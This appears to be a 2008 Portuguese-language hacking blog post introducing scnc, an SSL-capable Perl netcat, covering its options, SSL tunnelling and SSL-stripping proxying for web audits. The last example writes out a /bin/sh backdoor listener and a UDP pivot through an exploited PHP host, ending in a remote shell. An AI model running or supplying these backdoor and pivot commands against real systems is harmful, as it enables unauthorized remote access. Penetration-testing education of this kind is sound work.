SSL Capable NetCat (and more) May 6, 2008
Posted by y2h4ck in General Hacking, Network Security.Tags: ethical hacker, Hacking, netcat, Pentesting, scnc, ssl netcat, ssl proxy, ssl proxying, ssl tunnel, tcp proxying, udp proxying
trackback
Todos já conhecem o que é o netcat (escrito por Hobbit em 1996), como usá-lo e que foi integrado nos sistemas UNIX a bastante tempo. Esta versão em Perl adiciona ao Netcat algumas possibilidades que o mesmo não tem. Por exemplo, suporte SSL, TCP e UDP Proxying e IPv4/IPv6 proxying.
SSL Capable NetCat 1.00
Usage: scnc [-options] target port
-c use SSL (default to not)
-a use SSL certificate authority file
-f use SSL certificate file (PEM format)
-k use SSL private key file (PEM format)
-t do telnet negociation (default to not)
-6 use IPv6 (default to not)
-e cmd command to execute
-l listen for connections (default to not)
-p port use local port number (default to random high)
-s address use address for bindings (default to all addresses)
-u use UDP socket (default to TCP)
-v be verbose (default to not)
-r host:port proxy connection to host:port
-r host:port:ipv6 proxy connection to host:port using IPv6
-r host:port::ssl proxy connection to host:port using SSL
-r host:port:ipv6:ssl proxy connection to host:port using IPv6 and SSL
Protegendo conexões com túneis SSL
Você tem um servidor e um client (obviamente) que você controla. Você tem um serviço que não suporta SSL más você deseja estabelecer uma conexão SSL para evitar que em algum peer seja possível ler sua comunicação. A solução é criar um SSL tunnel (como se fosse o ssltunnel ou o stunnel).
- Server side (scnc irá escutar na porta 10000/TCP usando SSL e irá redirecionar o tráfego para localhost porta 110/TCP):
prompt$ scnc -vc -a ca.pem -f server.pem -k server-key.pem -p 10000 -r localhost:110
server: SSL listening on: 0.0.0.0:10000 (IPv4)
- Client side (scnc irá escutar em localhost porta 1110/TCP e irá redirecionar o tráfego para o servidor porta 10000/TCP usando SSL):
prompt$ scnc -v -s localhost -p 1110 -r server:10000::ssl
server: listening on: 127.0.0.1:1110 (IPv4)
Agora você pode utilizar seu client side application e usar o localhost e a porta 1110/TCP como endereço do servidor. Todo o tráfego irá ficar seguro por SSL.
Proxying SSL para acessar tráfego em Clear Text
Supomos que você está auditando um Web Server que suporta apenas HTTPS. Você deseja usar seu Sniffer Clássico ou uma ferramenta para Proxy (WebScarab/Paros). Você precisa remover a criptografia SSL para facilitar sua vida.
- Cliente side irá se tornar um SSL proxy (scnc irá escutar em localhost porta 1443/tcp e irá redirecionar o tráfego para o servidor que será auditado na porta 443/tcp usando SSL assim como os client Certificates):
prompt$ scnc -v -r audited-server:443::ssl -a ca.pem -f client.pem -k client-key.pem -s localhost -p 1443
server: listening on: 127.0.0.1:1443 (IPv4)
- Client side Exemplo:
prompt$ scnc -v localhost 1443
client: connected to: 127.0.0.1:1443 (IPv4)
GET / HTTP/1.0
HTTP/1.1 302 Found
Date: Thu, 27 Apr 2008 11:25:50 GMT
Server: Apache
…
Você agora pode usar sua ferramenta clássica de auditoria e usar o localhost com porta 1443/TCP como target server. Todo tráfego para localhost 1443/tcp será em Clear Text.
Digamos que você tenha um server escutando na porta 31337/UDP, com uma backdoor de /bin/bash. Essa porta é filtrada por um firewall e você PRECISA usar alguma técnica de Port Forwarding porque o único IP Address permitido é o 192.168.10.200. Este IP address tem um serviço (uma aplicação Web escrita em PHP que permite você fazer upload e executar um comando). Isto poderia ser game over para este host, mas você não está interessado nele e quer apenas usar um caminho mais fácil. Você pode exploitar estar vulnerabilidade e primeiramente enviar o sncn, depois executa-lo com os parametros de proxying.
- Backdoored target (172.16.10.1:31337/UDP):
prompt$ scnc -vul -e /bin/sh -p 31337
server: listening on: 0.0.0.0:31337 (IPv4)
- Proxying host vulnerável (192.168.10.200:9000/UDP):
prompt$ scnc -vu -r 172.16.10.1:31337 -p 9000
server: listening on: 0.0.0.0:9000 (IPv4)
- Attacking host:
prompt$ scnc -vu 192.168.10.200 9000
client: connected to: 192.168.10.200:9000 (IPv4)
sh: turning off NDELAY mode
id
uid=1000(user) gid=1000(users) …
Você tem agora um tunnel UDP proxied e totalmente funcional. Se você tem um acesso TCP, claro que você usará TCP proxying.
Se você deseja testar as features SSL, você pode baixar os seguintes certificados:
Espero que tenham gostado e Good Hacking 4 All.


















Comments»
No comments yet — be the first.